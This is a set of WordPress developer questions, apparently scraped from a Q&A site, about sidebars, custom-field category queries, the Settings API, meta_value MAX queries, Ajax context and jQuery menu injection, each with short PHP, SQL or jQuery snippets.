I'm trying to replace some custom strings in my content before saving the post. I have got the $data["post_content"] which includes strings like %replaceContent:{type}% . Now I need to extract that string, read the {type} and replace the string afterwards depending on what's inside of {type}. I imagine this would best be done using regex, unfortunately I don't really know how to go about this. Ideas?


Different sidebars not changing

I dont understand why my sidebar isn't changing over to the second one on the other pages. I've gone in an told the pages that if your not on this page show sidebar 2. So the home page and blog page have a sidebar 1 and the rest of the pages have sidebar 2. But it's not working. My code on my main theme layout looks like this:               <?php if(is_page('blog')) { ?>         <?php include(TEMPLATEPATH.'/sidebar2.php'); ?>     <?php } else { ?>         <?php include(TEMPLATEPATH.'/sidebar.php'); ?>     <?php } ?>            <?php get_footer(); ?>      So if I understand it correctly, if the page is blog show sidebar 1 if not show sidebar 2. I have `sidebar.php` and `sidebar-2.php` pages and they have widgets in them so I know when it's working. Yet I don't see it doing anything. Is there something in the functions.php file I've forgotten to place in?


Show posts from category specified using a custom field

I have a post that shows the titles and excerpts from a specific category underneath the content. Currently this is coded into a specific template like this:               <?php query_posts('category_name=dogs&showposts=5'); if (have_posts()) : ?>      This is fine but I need the client to be able to handle this themselves from a generic template so that I don't need to create a new one each time a category is created. I want the client to create a new post as normal but then use a custom field to pull in posts from a specified category underneath. For displaying the category name I would use something like this (assume we have a custom field name of "featured" and a value of "dogs":               <?php echo get_post_meta($post->ID, 'featured', true); ?>      So what I am guessing I need to do is replace the category_name=dogs part of my first example with something that pulls in the meta info. And that is where my knowledge ends. I know I can post one into the other but I don't know how to resolve it. Pleeeeeeeeeeeeeeease help! thanks James ps using wordpress 3.2.1 and a custom theme


Template tag for /page/# structure

I'm trying to find a template page (or conditional statement) that will target: > http://url.com but not > http://url.com/page/2/ home.php and front-page.php seem to target both. The front page displays my latest posts. Thanks in advance!


How can you store your option at the permalink settings page?

I followed the Settings API page and used the example to get the following code: http://pastebin.com/CUA7nLCR When I change `$settingsPage` to `general`, `reading`, `writing`, etc. this all works flawlessly but when I change it to `permalink` it does show up, but it will not store the value. Does anyone know why?


How do WP know an image is a post thumbnail

What is stored in the WP database to let WP know I uploaded an image as a post thumbnail? I'm looking at the wp_posts table but I can't find anything.


SELECT max(meta_value) FROM wp_postmeta WHERE meta_key='price'... stops working when value is over 999

**Overview** : I am not trying to return a post. I simply want the single highest value for a particular meta_value across all posts... just the value itself. **Details** : I have added a custom meta_key "price" to all my posts. The value is always an integer (no decimals or non-numeric characters). I am trying to do a query that returns the highest / largest / maximum meta_value associated with this particular meta_key. **Buggy Code**               function max_meta_value(){         global $wpdb;         $query = "SELECT max(meta_value) FROM wp_postmeta WHERE meta_key='price'";         $the_max = $wpdb->get_var($query);         return $the_max;     }      **Buggy Results** : At first I thought the above code worked, because it does if all the meta_values are less than 999. I soon discovered that if the meta_value is greater than 999 then it is ignored. So really the code above is giving me the max(meta_value) for meta_values less than 1000. **Plea to Community** : Obviously I do not know why it fails, but I have a feeling that it has something to do with how WP stores the value - perhaps its datatype related? Or maybe I should not be using $wpdb->get_var(). Any guidance will be greatly appreciated.


How do I remove blog entries from home page Twenty Eleven child theme?

I have been wrestling with this for some time. I've read the documentation about creating a separate home page and posts page, and so on, and I have managed to create a landing page, and a blog. But I'd like to have the landing/home page be a dedicated music page with a player, and I can't seem to get rid of the blog posts on the landing page. I've read enough to know it has to do with PHP and the Loop, but I don't where to begin with that, because I'm not sure where to go to find what I need to make the pages separate.


How to output only the post content

How can I output ONLY the post content (ie the text entered into the wysiwyg) and nothing else? i just need this for the posts in a specific category, so if i could call like say,               <?php get_template_part( 'venue_content', 'single' ); ?>      it would be ideal.


Archived Posts in Wrong Category

I am working on a site and am having an issue with one of the categories. There is plenty of content on the site and there are seven different categories. All of the categories display the correct posts except for the very last one. I've searched all around and have not seen this exact issue come up (oftentimes, people just have the wrong posts in all their categories). Please see the URL I'm working with. It is http://www.glossandglam.com/blog/ and the category that is not working is "Tutorials." Thanks for any help you can provide. ## EDIT Here is code for more detail:               <?php if (have_posts()) : ?>
          <?php          if ($paged == 0)       $offset = 0;     else       $offset = ($paged - 1) * 11;     global $post;     $category = get_the_category($post->ID);     $category = $category[0]->cat_ID;     $myposts = get_posts(array('numberposts' => 11, 'offset' => $offset, 'category__in' => array($category), 'post__not_in' => array($post->ID),'post_status'=>'publish'));     foreach($myposts as $post) :     setup_postdata($post);          ?>

             <a href="<?php the_permalink(); ?>"><?php set_post_thumbnail_size( 200, 200 );     the_post_thumbnail(); ?>

         <a href="<?php the_permalink(); ?>">
 <?php the_title(); ?>

<?php the_excerpt(); ?>

          <?php endforeach; ?>     <?php wp_reset_query(); ?>
      A quick explanation is that we are displaying 11 posts per page with a custom pagination at the bottom. I am using the "Category Post List Widget" plugin to style the list items that are being generated.


how to get context information inside my funcion

What processing is done by wordpress when a page is accessed that loads all contextual information into $post and other variables? and is it possible to trigger this process manually (or simulate it) so function calls have this context? The reason I'm asking is because I have written a small plugin that allows users to call wordpress functions via Ajax. The plugin works great with context-less functions. It has a big limitation however: calling a function via ajax loses the context information (e.g. $post) that the called function would otherwise have, had it been placed from within a template. However, the ajax call does send across the HTTP Referrer information. I can easily extract the referrer info, so I know e.g. on which page the user is on. The problem is I'm not sure how to use it further. Any tips/ideas would be greatly appreciated.


Create/Edit/Check cPanel Email Accounts from Wordpress

I need a plugin (or other) recommendation to allow users to create email accounts, as well as change their passwords and check their email using WordPress. I have a multi-author baseball website and I would like to allow authors to create their own email addresses at my domain name, if they like. That being said, I do not want to create the email addresses myself. I do not want/need to know the authors' passwords to the accounts and want them to know I respect their privacy. Thanks.


How to display Feedburner subscription count as plain text via a shortcode in post/page editor of my Wordpress blog?

I would like to create a shortcode like `[feedcount]` in my wordpress blog to display Feedburner subscription count as plain text on some of my posts/pages. Moreover, I'd prefer in the case that the Feedburner API is not unavailable, the shortcode shows "many other" instead of the count.   How can I do that?


Is it possible to append an external html file to my wordpress navigation?

I'm trying to add a hardcoded 'megamenu' style dropdown div to my wordpress site. The content of the div itself doesn't need to be administered via wordpress, it will all be hardcoded. I don't want to use a plugin, and my attempts of creating a 'walker' class has failed, so I'm wondering whether jQuery is now the way forward. With the following function, I can add the word, 'Hello' to my navigation item HOWEVER if i change it to the contents of my div, it doesn't display at all. Admittedly I'm clutching at straws a little now... WORKS                 $("#mainMenu ul li.page-item-13").append("Hello");`      DOESN'T WORK                   $(document).ready(function(){                          $("#mainMenu ul li.page-item-13 a").append("

The Range

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam imperdiet sapien ut quam tristique sed volutpat lectus blandit. Nullam ornare massa faucibus tellus blandit et fringilla urna interdum. Integer accumsan, libero eu vestibulum eleifend, odio enim semper urna, nec vestibulum eros magna id diam. Morbi a nibh quam, id pharetra turpis. Aenean arcu justo, semper at elementum in, hendrerit quis urna.

Donec id lectus enim, eget suscipit lorem. Sed cursus consectetur lectus sed interdum. In et congue elit. Cras quam diam, pellentesque quis sollicitudin aliquam, tempus nec orci.

T43

T47

T495

T535

T535

T575

T575

");                     });      DOESN'T WORK                          $(document).ready(function(){                          $("#mainMenu ul li.page-item-13").append("

The Range

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam imperdiet sapien ut quam tristique sed volutpat lectus blandit. Nullam ornare massa faucibus tellus blandit et fringilla urna interdum. Integer accumsan, libero eu vestibulum eleifend, odio enim semper urna, nec vestibulum eros magna id diam. Morbi a nibh quam, id pharetra turpis. Aenean arcu justo, semper at elementum in, hendrerit quis urna.

Donec id lectus enim, eget suscipit lorem. Sed cursus consectetur lectus sed interdum. In et congue elit. Cras quam diam, pellentesque quis sollicitudin aliquam, tempus nec orci.

T43

T47

T495

T535

T535

T575

T575

");                     });      Any help would be greatly appreciated. Thanks _**_*UPDATE* _*_** This seems to inject the HTML HOWEVER hides the li.page-item-13 from the navigation...                     _**_*UPDATE**** With no other ideas, I've now added the text of the li to the megaMenu file as well. It now seems to work - although I'm not sure I'm 100% happy with this hack...